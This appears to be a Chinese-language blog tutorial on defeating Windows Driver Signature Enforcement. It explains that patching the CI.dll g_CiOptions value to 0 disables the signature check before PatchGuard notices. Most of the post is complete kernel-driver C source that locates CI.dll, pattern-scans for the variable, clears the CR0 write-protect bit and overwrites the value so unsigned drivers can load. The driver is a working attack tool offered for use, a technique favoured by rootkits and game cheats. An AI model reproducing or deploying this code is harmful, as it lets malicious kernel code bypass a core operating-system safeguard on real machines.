内核过DSE驱动签名验证.
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内核过DSE驱动签名验证.
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一丶簡介
現在的驅動,必須都有簽名才能加載.那么如何加載無簽名的驅動模塊那.
下面可以說下方法.但是挺尷尬的是,代碼必須在驅動中編寫.所以就形成了
你必須一個驅動帶有一個簽名加載進去.執行你的代碼.pass掉DSE之后以后加載驅動就可以完全不用簽名了.
原理:
原理就是Path一下CI內核模塊.將一個全局變量置為0即可.但是受PG保護.不過PG要檢測這個位置不會立刻保護.所以可以修改完加載完你的無驅動簽名的驅動.然后修改回來即可.
全局變量有三個. 0 6 8 0代表禁用 6代表開啟. 8代表可以加載測試簽名.
二丶逆向CI.dll尋找Path位置.
既然上面說了.是修改一個全局變量.那么打開CI看看修改那個即可.
結果
雖然提示你需要簽名.但是可以用PChunter看到.其實已經加載了.
一共三個值. 0 6 8 6代表開啟驅動簽名 0代表關閉 8 代表開啟測試驅動簽名
代碼:
#include "Driver.h"
#include <wdm.h>
//KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//獲取LDR_DATA_TABLE_ENTRY結構
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
}
LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//獲取LDR_DATA_TABLE_ENTRY結構
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
return (LONGLONG)pCurrentModule->DllBase;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
return 0;
}
typedef struct _BASEMANGER
{
LONGLONG StartBase;
LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;
BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
BASEMANGER BaseManger = { 0 };
while (pCurrentListEntry != pListEntry) //前后不相等
{
//獲取LDR_DATA_TABLE_ENTRY結構
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p
",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
return BaseManger;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
BaseManger.StartBase = 0;
BaseManger.EndBase = 0;
return BaseManger;
}
//核心實現代碼
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;
KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
KIRQL DisableMemProtected()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
void EnbaleMemProtected(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
DWORD64 SerchAddress = CiStartAddress;
DWORD64 Address;
KIRQL Myirql;
int nCount = 0;
int isFind = 0;
int i = 0;
int isRead = 1;
if (SerchAddress == 0)
{
return 0;
}
__try
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
while (SerchAddress++)
{
if (SerchAddress + 2 > CiEndAddress)
{
break;
}
isRead = 1;
for (i = 0; i < 2; i++)
{
if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
{
isRead = 0;
break;
}
}
if (isRead == 1)
{
if (*(PUSHORT)(SerchAddress) == 0x15ff)
{
Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
if (MmIsAddressValid((PDWORD64)Address))
{
if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
{
while (nCount < 100)
{
nCount++;
SerchAddress--;
if (*(PUSHORT)(SerchAddress) == 0x0d89)
{
isFind = 1;
break;
}
}
break;
}
}
}
}
}
KeLowerIrql(irql);
}
__except (1)
{
DbgPrint("搜索數據失敗!");
}
if (isFind == 1)
{
//DbgPrint("SerchAddress：%p
", SerchAddress);
g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
g_CiOptions = *(PLONG)g_CiOptionsAddress;
DbgPrint("地址：%p 初始化值數據：%08X
", g_CiOptionsAddress, g_CiOptions);
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改為0即可.
DbgPrint("地址：%p 修改數據為：%08X
", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
return TRUE;
}
else
{
DbgPrint("搜索數據失?。?");
return FALSE;
}
}
void EnbalDse() //開啟DSE保護
{
KIRQL Myirql;
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改為6即可.
DbgPrint("開啟簽名驗證成功.值修改為 %d
", *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
ULONG iCount = 0;
NTSTATUS ntStatus;
UNICODE_STRING uModuleName;
BASEMANGER Base = { 0 };
RtlInitUnicodeString(&uModuleName, L"CI.dll");
pDriverObj->DriverUnload = DriverUnLoad;
Base = GetModuleBaseByNames(pDriverObj, uModuleName);
if (Base.StartBase != 0 && Base.EndBase != 0)
{
DisableDse(Base.StartBase, Base.EndBase);//傳入CI基址 CICiEndAddress
//EnbalDse(); //關閉DSE
}
return STATUS_SUCCESS;
}
ps: 文章是原創.但是核心原理是參考了一個看流星論壇的一個大佬的。自己將它的代碼拷貝了下來稍微改了改。加了遍歷模塊代碼而已。
原理就是Path CI. 大佬的代碼就是尋找特征定位全局變量。既然知道原理了。那么定位的話就抄一下了。
另一篇文章是參考了 安全客的一個漏洞文章?，F在找不到了。另一篇所講的是 標志有三種 0 6 8 0是禁用 6是開啟 8是啟動測試簽名。所以在這里直接使用了。
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